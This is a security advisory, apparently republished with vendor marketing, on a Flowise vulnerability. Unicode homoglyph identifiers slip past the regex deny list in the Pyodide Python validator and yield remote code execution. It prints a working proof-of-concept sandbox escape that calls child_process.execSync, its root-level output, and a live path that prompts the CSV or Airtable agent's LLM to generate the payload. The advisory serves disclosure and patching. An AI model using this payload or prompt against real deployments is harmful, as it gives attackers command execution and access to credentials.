GHSA-52fh-8v99-63c2 — flowise
Fix: FlowiseAI/Flowise#6499GHSA-52fh-8v99-63c2 is a CWE-184 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-52fh-8v99-63c2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
Summary
The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details
packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules
Two design flaws combine into a bypass:
- JavaScript regex
\bis ASCII-only. Word boundaries are computed against the ASCII word class[A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so\b__class__\bnever matches__cl𝐚ss__. - Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time.
__cl𝐚ss__,__subcl𝐚sses__,__b𝐚se__,__b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.
From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites:
- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates
customReadCSV(node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generatedpythonCodebefore it reachespyodide.runPythonAsync(code)on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated
pythonCodebeforepyodide.runPythonAsyncon line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC
Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
// npm install pyodide
const { loadPyodide } = require('pyodide')
const FORBIDDEN_PATTERNS = [
{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },
{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
if c.__name__ == 'catch_warnings':
cw = c()
bi = cw._module.__b\u{1D42E}iltins__
imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
imp = bi[imp_name]
js_mod = imp(chr(106)+chr(115))
cp_name = 'child' + chr(95) + 'process'
cp = js_mod.process.mainModule.require(cp_name)
opts = js_mod.Object.new(); opts.encoding = 'utf8'
result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
break
str(result)
`
;(async () => {
console.log('validator passes:', validate(payload)) // true
const py = await loadPyodide()
console.log(await py.runPythonAsync(payload))
})()
Run output on a stock host:
validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED
Live path against a Flowise deployment:
- Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.
- For the LLM-generated path: send a chat message via
POST /api/v1/prediction/{chatflowId}that instructs the model to answer in Python using mathematical bold letters for__class__,__subclasses__,__base__, and__builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. - For the direct path: a workspace user with chatflow edit rights sets
customReadCSVto the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.
Impact
Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.3npm install flowise@3.1.3 |
| 📦npm | flowise-components | all versions | 3.1.3npm install flowise-components@3.1.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-52fh-8v99-63c2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-52fh-8v99-63c2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-52fh-8v99-63c2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-52fh-8v99-63c2 in your dependencies?
O3 Security finds GHSA-52fh-8v99-63c2 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.